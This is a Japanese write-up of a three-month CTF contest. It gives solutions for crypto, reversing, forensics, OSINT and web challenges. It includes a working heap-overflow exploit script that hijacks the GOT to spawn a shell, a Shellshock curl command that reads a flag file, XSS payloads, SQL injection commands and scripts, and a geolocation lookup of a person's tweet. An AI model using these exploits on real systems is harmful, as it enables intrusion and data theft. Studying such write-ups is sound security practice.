期間3か月というちょっと珍しいCTF。数日のCTFと違ってのんびり取り組めるし、終わった後はこうやってwrite-upが書けるし、良い。
結果
5位。あと2問が解けなかった。
練習
101 image level 1
画像を貼り合わせるだけ。
START-YAMATO-SEC!!!
芸術
漢字を読む問題。
111 ワットイズディス?
古めかしい感じ。大和世?由利?? と読めるので後は勘で。
大和セキュリティ
112 cole nanee?
勘で。漢字一文字でコンテスト期間が長いからブルートフォースもありだったかもしれない。
忍
113 Lines and Boxes
漢字っぽい英字。
WORD PLAY
114 Why want something more?
画像検索をすると、この写真が出てくる。ということは、ちゃんとした書のようなので、頑張って読んだりググったり。
如是
二進術
121 壱萬回
ダンプして、showFlagという関数を読めば良い。
FLAG_5c33a1b8860e47da864714e042e13f1e
122 DxLib遊戯如何様
DXライブラリを使ったオセロ。データはdata.dxaに入っている。このソフトで展開すると、フラグの書かれた画像が入っていた。パスワードが掛かっているので、デバッガでゲームを動かして探した。パスワードはReverSi
。
DxaDecode.exe -K:ReverSi data.dxa
FLAG{otHeLlo_is_ReVersI}
123 Unity遊戯如何様
Unityを使ったゲームのOS X用バイナリ。3DGame.app/Contents/Resources/Data/Managed/Assembly-CSharp.dllが本体で、.netのバイナリなので、ILSpyで解析できる。プログラムを読むと、FLAG{its_3D_Game_Tutorial}
が出力されるようだが、同梱されている画像ではフラグが大文字になっていた。試しに、大文字に変えたら通った。フォントのせいらしい。
ITS_3D_GAME_TUTORIAL
解読術
131 image level 5
英字1文字が描かれた9枚の画像。画像のファイル名が1-9のMD5ハッシュなので、数字の順番に並べる。
KOUBE-GYU
132 Ninjya Crypto
忍者文字。ヤマトイエバ
と書いてある。
カワ
133 Decrypt RSA
640bit RSA。小さめだが、そう簡単に破れる桁数ではない。懸賞用の合成数らしく、Wikipediaに因数分解の結果が載っていた。
FLAG_IS_WeAK_rSA
134 Zach! Take a nap!
Merkle-Hellmanナップサック暗号。sageというソフトウェアでLLLというアルゴリズムを使うと解けるらしい。参考。が、この通りに書いても答えは出てこなかった。フラグはASCII文字だろうから最上ビットは0だし、最初の文字はFLAG
かflag
だろう……などと当たりをつけて、一部のビットを固定したら解けた。
b = [
241709663199932863418475935611104891777678005625020486143471439845319800415569810225805201626329026017395235341492803284854650493471308233643391751157995414909647486, (略), 29144509272047808806446970583974756772151751541918080132151114360982509871943491168571304589882094397804270488503942631375046163814737465224170830447650456222565586
]
c = 17430751285528755149770712450733929117433144442861558376665123992012139353371207953693139647876692972065665577925661787754965548509374755855050184970023361689968665090
M = [
1,2,0,0,1,1,0,
0,1,2,0,1,1,0,0,
0,1,2,0,0,0,0,1,
0,1,2,0,0,1,1,1,
0,0,1,1,1,1,0,1,
0,1,1,1,1,0,1,1,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,1,1,1,1,0,1,
]
org = b
b = []
for i in range(len(org)):
if M[i]==2:
b += [org[i]]
if M[i]==1:
c -= org[i]
print len(b)
n = len(b)
A = Matrix(ZZ, n+1, n+1)
for i in range(n):
A[i,i] = 1
for i in range(n):
A[i,n] = b[i]
A[n,n] = -c
B = A.LLL()
print B.str()
for i in range(n):
if min(B[i])==0 and max(B[i])==1:
ans = []
t = 0
for j in range(len(M)):
if M[j]==2:
ans += [B[i][t]]
t += 1
else:
ans += [M[j]]
print hex(int("".join(str(a) for a in ans), 2))[2:-1].decode("hex")
flag={AdiShamirSpoiled}
攻撃術
141 craSH
echo
, cat
, exit
, ls
が実装されたシェルをクラッシュさせよという問題。cat a a > a
で落ちた。
$ echo aaaaaaaaaaaaaaaa > a
$ cat a a > a
$ cat a
aaaaaaaaaaaaaaaa
*** Error in `/home/crash/crash': free(): invalid next size (fast): 0x0000000000fc9140 ***
That's enough!
flag={NoMoreBashdoor}
NoMoreBashdoor
142 Ninja no Aikotoba
サーバーと受け答えする。最初の5問は逆算できる。Yama
, too
, KansaiTanaka
, Zach
。最後の1問はヒントが無いが、判定が、
b[n] = '\0';
result = strcmp(a, b);
b[n] = save;
if (result == -1 || result == 1) return 0;
return 1;
となっている。仕様ではstrcmp
は一致しなかった場合に1
でも-1
でもない値を返しうる。MySQLの脆弱性。私は適当に文字列を投げたけど、このlibcは24文字目まで一致することが条件らしい。
GetsuFumaDen
143 craSH 2
craSHと同じバイナリだが、この問題は実際にrootを取る必要がある。
cat a a > a
を実行したとき、ファイルaのサイズが10バイトだとすると、書き込み先なので最初にaのサイズが10+10=20バイトに変更され、その後20バイトのaに20バイトを2回書き込んでオーバーフローする。a
の半分が0
になってしまい調節が面倒なので、もう一つファイルを用意して、cat a a b > a
のようにすると楽だった。
ヒープオーバーフローで検索すると出てくる、リンクリストを書き換えるという方法は、対策されていて今はもう古いらしい。汎用的な方法は無いので、プログラムの確保したメモリの使い方に応じて攻撃するしかない。katagaitai勉強会の資料が分かりやすい。malloc
から返ってくるアドレスの前にサイズとフラグがあるので、そこがおかしくならないようにする。
GOTのstrlen
のアドレスをsystem
に書き換えて、strlen("~")
がsystem("~")
になるようにした。面倒なことをしなくても、One-Gadget-RCEといって、libcの特定のアドレスに飛ばすとsystem("/bin/sh")
が実行されるらしい。すごい。
from socket import *
from struct import *
from telnetlib import *
from time import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("210.146.64.35", 31337))
sleep(1)
print s.recv(9999)
def i2s(i):
return pack("<Q", i)
def s2i(s):
s += "\x00"*(8-len(s))
return unpack("<Q", s)[0]
head = 0x0000000000603160
strlen_g = 0x0000000000603030
strlen_f = 0x00007ffff7a9dac0
system_f = 0x00007ffff7a5b640
# ---
s.sendall("cat > a\n")
s.sendall("AAAAAAAA\x21\x04")
print s.recv(9999)
s.sendall("cat > a\n")
s.sendall("AAAA\x04")
print s.recv(9999)
b = "b"*32
s.sendall("cat > %s\n"%b)
s.sendall(i2s(strlen_g)+"\x04")
print s.recv(9999)
s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)
s.sendall("ls\n")
sleep(1)
r = s.recv(9999)
print r
strlen = s2i(r.split(" ")[0])
print "strlen = %016x" % strlen
b = r.split(" ")[0]
bb = b
# ---
s.sendall("cat > a\n")
s.sendall("AAAA\x04")
print s.recv(9999)
s.sendall("cat > %s\n"%b)
s.sendall(i2s(head)+"\x04")
print s.recv(9999)
s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)
s.sendall("ls\n")
sleep(1)
r = s.recv(9999)
print r
heap = s2i(r.split(" ")[0])
print "heap = %016x" % heap
b = r.split(" ")[0]
# ---
s.sendall("cat > a\n")
s.sendall("\x04")
print s.recv(9999)
s.sendall("cat > %s\n"%b)
s.sendall(i2s(strlen_g)+i2s(heap-0xb0+0xa8)+"\x04")
print s.recv(9999)
s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)
# ---
s.sendall("ls\n")
r = s.recv(9999)
s.sendall("cat > %s\n"%bb)
s.sendall(i2s(strlen-strlen_f+system_f)[:-1]+"\x04")
s.sendall("echo sh\n")
t = Telnet()
t.sock = s
t.interact()
なかなか成功しないし、シェルを取った後でls
やcat
を実行したらforkがどうこうと言われたので、何か制限がかかっているかと思ったけど、単に重いだけだった。誰かがfork爆弾でも動かしていたのだろうか。
GiveMeOneMoreShellshock
解析術
151 Doubtful Files
インターネットから取得したファイルに不自然な点があると。あんまり関係無いような気もするけど、インターネットから → Zone.Identifier(インターネットから取得したexeなどで警告が出るやつ) → 代替データストリーム。Dir /r
で一覧が取得でき、more
で表示できる。
Windows TIPS:dirやPowerShellでNTFSの代替データストリーム情報を表示する - @IT
C:\documents\ctf\burningctf\151\Downloads>for %a in (*) do more < %a:Zone.Identifier:$DATA
C:\documents\ctf\burningctf\151\Downloads>more 0<1.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=3
:
C:\documents\ctf\burningctf\151\Downloads>more 0<7.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=0
ZmxhZz17QWx0ZXJuYXRlIERhdG
:
C:\documents\ctf\burningctf\151\Downloads>more 0<8.vbs:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=4
EgU3RyZWFtIG9uIE5URlMhfQ==
:
Base64が書かれているファイルがあるので、繋げて復号。
Alternate Data Stream on NTFS!
152 情報漏洩
武士が情報管理の仕事を請け負って管理の厳しい中情報を盗み出したというpcapファイル。1個のパケットにPNGがまとめて入っているので切り出せば良い。
gambare benesse
153 Speech by google translate
フラグが英語で読み上げられるけど、途中で途切れる。残りを推測する問題かと思ったけど、単にWAVEのヘッダが書き換えられて短くなっているので、戻すだけだった。
X5kpBQJUufHdkch923SJ
154 Cool Gadget
破損したJpegファイル。バイナリエディタで開くとremoveme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}
という文字が見えるのでこれを消す。このBase64文字列を復号すると、Salted__
から始まっていて、OpenSSLで暗号化したものだと分かるので、暗号方式を色々試す。鍵は画像の文字。
>openssl aes-128-cbc -d -in crypt
enter aes-128-cbc decryption password: EAHIV
flag={Cryptex is cool!}
Cryptex is cool!
155 Encrypted Message
TrueCrypt実行中のメモリイメージと暗号化ボリューム。AESKeyFinderというツールで、パスワードから生成されるマスターキーを抜き出せる。たしか、TrueCryptのソースを弄って無理矢理このマスターキーを使うようにした。
Already Ended In 5/2014
電網術
161 ftp is not secure.
FTPなので平文でフラグが送られている。
XTInX69nqvFaoEwwNb
162 ベーシック
BASIC認証。ヘッダはAuthorization: Basic aHR0cDovL2J1cm5pbmcubnNjLmdyLmpw
、復号するとhttp://burning.nsc.gr.jp
。BASIC認証の仕様を知らないといけない。URLっぽいけど、BASIC認証は:
の前がユーザー名で、後がパスワード。ユーザ名http
、パスワード//burning.nsc.gr.jp
でhttp://burning.nsc.gr.jp/
を開くとフラグが表示される。
BasicIsNotSecure
163 六十秒
B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
という文字列が出てきて、これをBase64復号しようとするとうまくいかないが、先頭のB00OWA6QNO
を削れば復号できる。
12Gatsu14NichiAkatsuki7Tsu
164 Japanese kids are knowing
「ポートスキャンは苦しゅうない」と書いてあるので、ポートスキャンをかけると5006ポートが空いている。nc
で繋ぐと
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.
と返ってくる。カエルの歌。
938c2cc0dcc05f2b68c4287040cfcf71
165 Malicious Code
pcapの中からファイルを取り出すと、evalでjsを書き出し実行するショートカットがある。このJavaScriptが被害者のPCで実行されるときは、myaddr=10.0.2.222
というパラメタを付けてサーバーからファイルを取得してevalする。同じように実行するとフラグの出力するファイルが落ちてくる。
lnk is sometimes malicious
諜報術
ネトスト。
171 KDL
1998年の募集要項。InternetArchive。https://web.archive.org/web/19981207002916/http://www.kdl.co.jp/
ソフトウェア開発エンジニア
172 Mr. Nipps
特定の日時の社長の居場所。Twitterの位置情報。
Back to 'Double Curve' @ Hooters of Downtown LA https://t.co/ApOXy5vbMO
— jun yamadera (@junyamadera) 2015年8月12日
TwitterのWebでは正確な座標が表示されないがデータとしては持っているので、APIを叩けば取れる。アプリによっては対応していそう。
import tweepy
consumer_key= "XXXX"
consumer_secret= "XXXX"
access_key= "XXXX"
access_secret= "XXXX"
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_key, access_secret)
api = tweepy.API(auth)
print api.get_status(631563742480834560).geo
{u'type': u'Point', u'coordinates': [34.0409203, -118.2672272]}
34.0409203,-118.2672272
173 Akiko-chan
写真からのブログの特定。Google画像検索。
tartoutfit4161
174 タナカハック
サイトの中の「taなんとか123」という文字列を探す。wget -r
でまとめてダウンロードして、grep。
tanakazakkarini123
175 タイムトラベル
過去のIPアドレスの逆引き。逆引きできるサイトのInternet Archiveなどを探してみたけど出てこなかった。逆引きを保存しているサイトがあるらしい。
ファイルサイズが大きいので、ファイルには解凍せずにそのままgrep。
gzip -d 2013-09-21-rdns.csv.gz -c | grep 50.115.13.104
mxserver-104.blisterninja.com
記述術
プログラミング
181 search_duplicate_character_string
長さ200KBくらいの文字列の中から、2回以上出現する最長の部分文字列を探す。問題も与えられているので、競技プログラミングのように最悪ケースを考える必要は無い。4-gramの辞書を作って出現位置を記録して、2回以上出現している4-gramから探した。
T = open("181-search_duplicate_character_string", "rb").read()
ans = ""
n = len(T)
A = {}
for i in range(n-1):
t = T[i:i+4]
if t not in A:
A[t] = []
A[t] += [i]
ans = ""
for a in A:
for i in A[a]:
for j in A[a]:
if i<j:
t = ""
k = 0
while i+k<n and T[i+k]==T[j+k]:
t += T[i+k]
k += 1
if len(t)>len(ans):
ans = t
print ans
f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
182 JavaScript Puzzle
新しめの機能を使ったJavaScriptの穴埋め。
新しめの機能は特に関係無いので、hoge.fuga()
がhoge["fuga"]()
に等価だと知っていれば解ける。
183 Count Number Of Flag's SubString!
入力した文字列がフラグの中に何回出現するかを教えてくれる。ちょっと長くなれば0回か1回かなので、Blind SQL Injectionのように1文字ずつ探索すれば良い。
from urllib import *
ans = "flag%3D%7B"
for i in range(100):
print "i = ", i
for a in "abcdefghijklmnopqrstuvwxyz_":
if "are 1" in urlopen("http://210.146.64.36:30840/count_number_of_flag_substring/?str="+ans+a).read():
ans += a
break
print ans
afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr
184 解凍?
bzipとzipとtarで1000回くらい圧縮されたファイル。間違ったコマンドで解凍しようとしても実行に失敗するだけなので、毎回それぞれのコマンドを試すようにした。
p=0
for i in `seq 10000`
do
bzip2 -d -k flag$p; mv flag$p.out flag$i
unzip flag$p; mv flag.txt flag$i
tar xf flag$p; mv flag.txt flag$i
cp flag$p flag$i.gz; gzip -d -k -f flag$i.gz; rm flag$i.gz;
p=$i
done
6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi
185 Make sorted Amida kuji!!
N個の数字を入力してN段でソートするアミダクジを作れという問題。N=4とN=10。半分全列挙。N/2段で可能な並び替え方のリストT
を作る。T
の全ての要素t
について、入力をt
によって並び替え、さらにt'
と並び替えたときにソート済みになるような並び替えt'
が、T
に存在するかを調べる。
import itertools
def solve(S):
N = len(S)
B = []
for b in range(1<<N-1):
ok = True
for j in range(N-2):
if b>>j & b>>j+1 & 1:
ok = False
if ok:
B += [b]
T = [{tuple(range(N)): []}]
for i in range(N/2):
T += [{}]
for s in T[i]:
for b in B:
t = list(s)
for j in range(N-1):
if b>>j&1:
t[j],t[j+1] = t[j+1],t[j]
t = tuple(t)
if t not in T[i+1]:
T[i+1][t] = []
T[i+1][t] += [(s, b)]
print i+1, len(T[i+1])
print
G = [[0]*N for _ in range(N)]
for s in T[N/2]:
t = tuple([S[s[i]] for i in range(N)])
if t in T[N/2]:
def BT(i, s):
if i==0:
return [[]]
a = []
for ps,b in T[i][s]:
a += [x+[b] for x in BT(i-1, ps)]
return a
X = BT(N/2, s)
Y = BT(N/2, t)
for x in X:
for y in Y:
for i in range(N):
b = x[i] if i<N/2 else y[N-i-1]
for j in range(N-1):
if b>>j&1:
print i,j
G[i][j] += 1
print
flag = ""
F = "qwertyuiopasdfghjklzxcvbnm1234567890_+="
for i in range(N):
for j in range(N):
flag += F[G[i][j]%len(F)]
print flag
solve((3, 1, 2, 0))
solve((9, 8, 6, 5, 7, 3, 2, 1, 0, 4))
021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q
超文書転送術
191 GIFアニメ生成サイト
ID=1のGIFは制限がかかっていて見られないけど、アップロード直後に表示されるURLだと認証が掛かっていなくて見られる。
H0WdoUpronunceGIF?
192 Network Tools
Linuxのコマンドを練習できるサイト。コマンドは制限が厳しくて何もできないが、ShellShockがある。lsなどでファイルを探して、
curl -d "cmd=arp&option=" -A "() { :;}; /bin/cat /var/www/cgi-bin/flag.txt" http://210.146.64.37:60888/exec
Update bash to the latest version!
193 箱庭XSS
適当にプログラムを解析した方が速いw alert()
を実行すれば良いらしい。入力した文字列が大文字に変換される。
jjencodeで記号だけにしてしまえば、大文字になっても関係無い。jQueryと衝突するのでグローバル変数は$
以外にする必要がある。
<script>_=~[];_={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};_.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;_.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;_.$=(_.___)[_.$_][_.$_];_.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"()"+"\"")())();</script>
2ztJcvm2h52WGvZxF98bcpWv
194 YamaToDo
mysqli_real_escape_string
が使われていて文字コードが指定できる。ただし、sjis
は弾かれる。cp932
を使えば良い。こんな感じで日時のところに埋め込んで、書き込みを1文字ずつ取り出した。
curl --data "body=0%95%5c', from_unixtime(ord(substr((SELECT group_concat(body) FROM todos _ WHERE user_id=0x79616d61746f), 0))))#" "http://210.146.64.44/?ie=cp932" -H "Authorization: Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4" -H "Cookie: PHPSESSID=0h3n691evsja44m6e38ev6j837"
r3m3Mb3r_5c_pr0bL3m
195 Yamatoo
WAF回避と、1個のSQL文中に入力が2-gramされたものと元のままの両方が挿入されるでどうにかする必要がある。'''
を入力すると'' ''
と'''
になるので、分割された方は文字列が正しく閉じて、されなかったほうは文字列から脱出する。上手くできている。WAFは次のように回避した。Blind SQL Injectionをしたけど、エラーメッセージから取り出すという手があったらしい。エラー出力処理を見落としていた。
import urllib
u = "http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/"
def length():
for n in range(61):
q = "''' or length((select flag from flag)) = %s --"%n
d = urllib.urlopen(u+"?"+urllib.urlencode({"q": q})).read()
print n, len(d)
#length()
def flag():
n = 59
flag = "flag"
for i in range(n-len(flag)):
for a in map(chr, range(32, 127)):
q = """''' or length(replace((select flag from flag), "%s", "")) != %s --"""%(flag+a, n)
#print q
d = urllib.urlopen(u+"?"+urllib.urlencode({"q": q})).read()
print i, a, len(d)
if len(d)>2000:
flag += a
print flag
break
flag()
196 Yamatonote
yaml_parseの注意事項を使うのが想定解法だったらしいが、自前のプレースホルダーに穴があったw
values (:user_id, :title, :body)
の:title
などを、mysqli_real_escape_string
を通して''
で括っている。titleに_:body_
を指定し、bodyにSQL
を指定すると、まずはtitleが置換されて、values (:user_id, '_:body_', :body)
になり、bodyが置換されて、``values (:user_id, ''SQL'', 'SQL')`となる。
pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700
197 箱庭XSS 2
alert
が削除される。簡単。<script>eval("a"+"lert()")</script>
で良い。
n2SCCerG4J9kDkHqvHJNhwr4
兵法術
詰め将棋。ソルバーが必要な難易度でもないので、普通に解けば良い。普通の将棋と縦の数字が逆手、先手から見て右下が1一なので混乱する。
201 将棋詰め壱
一手詰め。
5768
202 将棋詰め弐
一手詰め×4。1個は縦の四と七が逆になっている。
26355756444636
203 将棋詰め参
三手詰め。
545646455747
204 将棋詰め四
後手詰め。
26364656776656453635